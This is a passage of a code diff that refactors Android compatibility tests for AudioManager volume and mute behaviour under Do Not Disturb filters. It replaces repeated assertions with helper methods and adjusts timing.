-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
 
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALARMS);
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_MUSIC, AudioManager.ADJUST_RAISE, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+                    STREAM_MUSIC, ADJUST_RAISE, 0);
             int volumeDelta =
-                    getVolumeDelta(mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            assertEquals(musicVolume + volumeDelta,
-                    mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+                    getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume + volumeDelta);
 
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
@@ -1061,18 +1108,19 @@
         try {
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
 
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
-            // delay for streams to get into correct volume states
+            // delay for streams interruption filter to get into correct state
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 7, 0);
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 7, 0);
-            assertEquals(7, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+            // cannot adjust music, can adjust ringer since it could exit DND
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 7, 0);
+            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume);
+            mAudioManager.setStreamVolume(STREAM_RING, 7, 0);
+            assertStreamVolumeEquals(STREAM_RING, 7);
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1085,16 +1133,17 @@
         try {
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALARMS);
             // delay for streams to get into correct volume states
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 3, 0);
-            assertEquals(3, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 7, 0);
-            assertEquals(7, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+            // can still adjust music and ring volume
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 3, 0);
+            assertStreamVolumeEquals(STREAM_MUSIC, 3);
+            mAudioManager.setStreamVolume(STREAM_RING, 7, 0);
+            assertStreamVolumeEquals(STREAM_RING, 7);
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1112,27 +1161,27 @@
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
 
             final int testRingerVol = getTestRingerVol();
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-            int alarmVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ALARM);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            int alarmVolume = mAudioManager.getStreamVolume(STREAM_ALARM);
 
             // disallow all sounds in priority only, turn on priority only DND, try to change volume
             mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0 , 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
             // delay for streams to get into correct volume states
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 3, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 5, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, testRingerVol, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 3, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 5, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, testRingerVol, 0);
 
             // Turn off zen and make sure stream levels are still the same prior to zen
             // aside from ringer since ringer can exit dnd
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS); // delay for streams to get into correct states
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            assertEquals(alarmVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ALARM));
-            assertEquals(testRingerVol, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+            assertEquals(musicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertEquals(alarmVolume, mAudioManager.getStreamVolume(STREAM_ALARM));
+            assertEquals(testRingerVol, mAudioManager.getStreamVolume(STREAM_RING));
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1148,12 +1197,12 @@
         try {
             // turn off zen, set stream volumes to check for later
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            int ringVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-            int alarmVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ALARM);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            int ringVolume = mAudioManager.getStreamVolume(STREAM_RING);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            int alarmVolume = mAudioManager.getStreamVolume(STREAM_ALARM);
 
             // disallow all sounds in priority only, turn on priority only DND, try to change volume
             mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
@@ -1161,23 +1210,23 @@
             // delay for streams to get into correct mute states
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_RING, AudioManager.ADJUST_RAISE, 0);
+                    STREAM_RING, ADJUST_RAISE, 0);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_MUSIC, AudioManager.ADJUST_RAISE, 0);
+                    STREAM_MUSIC, ADJUST_RAISE, 0);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_ALARM, AudioManager.ADJUST_RAISE, 0);
+                    STREAM_ALARM, ADJUST_RAISE, 0);
 
             // Turn off zen and make sure stream levels are still the same prior to zen
             // aside from ringer since ringer can exit dnd
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS); // delay for streams to get into correct states
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            assertEquals(alarmVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ALARM));
+            assertEquals(musicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertEquals(alarmVolume, mAudioManager.getStreamVolume(STREAM_ALARM));
 
             int volumeDelta =
-                    getVolumeDelta(mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+                    getVolumeDelta(mAudioManager.getStreamVolume(STREAM_RING));
             assertEquals(ringVolume + volumeDelta,
-                    mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+                    mAudioManager.getStreamVolume(STREAM_RING));
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1192,33 +1241,26 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // disallow all sounds in priority only, turn on priority only DND
             mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
 
             // if channels cannot bypass DND, the Ringer stream should be muted, else it
             // shouldn't be muted
-            if (!mAppsBypassingDnd) {
-                assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            } else {
-                assertFalse("Ringer stream shouldn't be muted b/c channels can bypass DND",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            }
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if channels cannot bypassDnd");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1232,34 +1274,27 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // allow only media in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertFalse("Music (media) stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+            assertStreamMuted(STREAM_MUSIC, false,
+                    "Music (media) stream should not be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
 
             // if channels cannot bypass DND, the Ringer stream should be muted, else it
             // shouldn't be muted
-            if (!mAppsBypassingDnd) {
-                assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            } else {
-                assertFalse("Ringer stream shouldn't be muted b/c channels can bypass DND",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            }
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if channels cannot bypassDnd");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1274,26 +1309,24 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // allow only system in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertFalse("System stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-            assertFalse("Ringer stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, false,
+                    "System stream should not be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, false,
+                    "Ringer stream should not be muted");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1308,27 +1341,25 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test, but then mute ringer
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 0, 0);
             mAudioManager.setRingerMode(RINGER_MODE_SILENT);
 
             // allow only system in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-           assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, true,
+                    "Ringer stream should be muted");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1343,34 +1374,27 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // allow only alarms in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertFalse("Alarm stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, false,
+                    "Alarm stream should not be muted");
 
             // if channels cannot bypass DND, the Ringer stream should be muted, else it
             // shouldn't be muted
-            if (!mAppsBypassingDnd) {
-                assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            } else {
-                assertFalse("Ringer stream shouldn't be muted b/c channels can bypass DND",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            }
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if channels cannot bypassDnd");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1385,48 +1409,46 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // allow only reminders in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_REMINDERS, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-            assertFalse("Ringer stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, false,
+                    "Ringer stream should not be muted");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
     }
 
     public void testPriorityOnlyChannelsCanBypassDnd() throws Exception {
-        final String NOTIFICATION_CHANNEL_ID = "test_id";
         if (mSkipRingerTests) {
             return;
         }
 
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
+
+        final String NOTIFICATION_CHANNEL_ID = "test_id_" + SystemClock.uptimeMillis();
         NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID, "TEST",
                 NotificationManager.IMPORTANCE_DEFAULT);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // create a channel that can bypass dnd
             channel.setBypassDnd(true);
@@ -1435,39 +1457,33 @@
             // allow nothing
             mNm.setNotificationPolicy(new NotificationManager.Policy(0,0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-            assertFalse("Ringer stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, false,
+                    "Ringer stream should not be muted."
+                            + " areChannelsBypassing="
+                            + NotificationManager.getService().areChannelsBypassingDnd());
 
             // delete the channel that can bypass dnd
             mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should still be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should still be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should still be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
             // if channels cannot bypass DND, the Ringer stream should be muted, else it
             // shouldn't be muted
-            if (!mAppsBypassingDnd) {
-                assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            } else {
-                assertFalse("Ringer stream shouldn't be muted b/c channels can bypass DND",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            }
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if apps are bypassing dnd"
+                            + " areChannelsBypassing="
+                            + NotificationManager.getService().areChannelsBypassingDnd());
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
@@ -1481,10 +1497,10 @@
         mAudioManager.adjustVolume(37, 0);
     }
 
-    private final int[] PUBLIC_STREAM_TYPES = { AudioManager.STREAM_VOICE_CALL,
-            AudioManager.STREAM_SYSTEM, AudioManager.STREAM_RING, AudioManager.STREAM_MUSIC,
-            AudioManager.STREAM_ALARM, AudioManager.STREAM_NOTIFICATION,
-            AudioManager.STREAM_DTMF,  AudioManager.STREAM_ACCESSIBILITY };
+    private final int[] PUBLIC_STREAM_TYPES = { STREAM_VOICE_CALL,
+            STREAM_SYSTEM, STREAM_RING, STREAM_MUSIC,
+            STREAM_ALARM, STREAM_NOTIFICATION,
+            STREAM_DTMF,  STREAM_ACCESSIBILITY };
 
     public void testGetStreamVolumeDbWithIllegalArguments() throws Exception {
         Exception ex = null;
@@ -1502,7 +1518,7 @@
         // invalid volume index
         ex = null;
         try {
-            float gain = mAudioManager.getStreamVolumeDb(AudioManager.STREAM_MUSIC, -101 /*volume*/,
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, -101 /*volume*/,
                     AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
         } catch (Exception e) {
             ex = e; // expected
@@ -1514,8 +1530,8 @@
         // invalid out of range volume index
         ex = null;
         try {
-            final int maxVol = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-            float gain = mAudioManager.getStreamVolumeDb(AudioManager.STREAM_MUSIC, maxVol + 1,
+            final int maxVol = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, maxVol + 1,
                     AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
         } catch (Exception e) {
             ex = e; // expected
@@ -1527,7 +1543,7 @@
         // invalid device type
         ex = null;
         try {
-            float gain = mAudioManager.getStreamVolumeDb(AudioManager.STREAM_MUSIC, 0,
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, 0,
                     -102 /*deviceType*/);
         } catch (Exception e) {
             ex = e; // expected
@@ -1539,7 +1555,7 @@
         // invalid input device type
         ex = null;
         try {
-            float gain = mAudioManager.getStreamVolumeDb(AudioManager.STREAM_MUSIC, 0,
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, 0,
                     AudioDeviceInfo.TYPE_BUILTIN_MIC);
         } catch (Exception e) {
             ex = e; // expected
@@ -1570,10 +1586,10 @@
 
     public void testAdjustSuggestedStreamVolumeWithIllegalArguments() throws Exception {
         // Call the method with illegal direction. System should not reboot.
-        mAudioManager.adjustSuggestedStreamVolume(37, AudioManager.STREAM_MUSIC, 0);
+        mAudioManager.adjustSuggestedStreamVolume(37, STREAM_MUSIC, 0);
 
         // Call the method with illegal stream. System should not reboot.
-        mAudioManager.adjustSuggestedStreamVolume(AudioManager.ADJUST_RAISE, 66747, 0);
+        mAudioManager.adjustSuggestedStreamVolume(ADJUST_RAISE, 66747, 0);
     }
 
     @CddTest(requirement="5.4.1/C-1-4")
@@ -1608,19 +1624,42 @@
         }
     }
 
-    public void testIsHapticPlaybackSupported() throws Exception {
+    public void testIsHapticPlaybackSupported() {
         // Calling the API to make sure it doesn't crash.
         Log.i(TAG, "isHapticPlaybackSupported: " + AudioManager.isHapticPlaybackSupported());
     }
 
-    private void setInterruptionFilter(int filter) throws Exception {
-        mNm.setInterruptionFilter(filter);
-        for (int i = 0; i < 5; i++) {
-            if (mNm.getCurrentInterruptionFilter() == filter) {
-                break;
-            }
-            Thread.sleep(1000);
+    public void testGetAudioHwSyncForSession() {
+        // AudioManager.getAudioHwSyncForSession is not supported before S
+        if (ApiLevelUtil.isAtMost(Build.VERSION_CODES.R)) {
+            Log.i(TAG, "testGetAudioHwSyncForSession skipped, release: " + Build.VERSION.SDK_INT);
+            return;
         }
+        try {
+            int sessionId = mAudioManager.generateAudioSessionId();
+            assertNotEquals("testGetAudioHwSyncForSession cannot get audio session ID",
+                    AudioManager.ERROR, sessionId);
+            int hwSyncId = mAudioManager.getAudioHwSyncForSession(sessionId);
+            Log.i(TAG, "getAudioHwSyncForSession: " + hwSyncId);
+        } catch (UnsupportedOperationException e) {
+            Log.i(TAG, "getAudioHwSyncForSession not supported");
+        } catch (Exception e) {
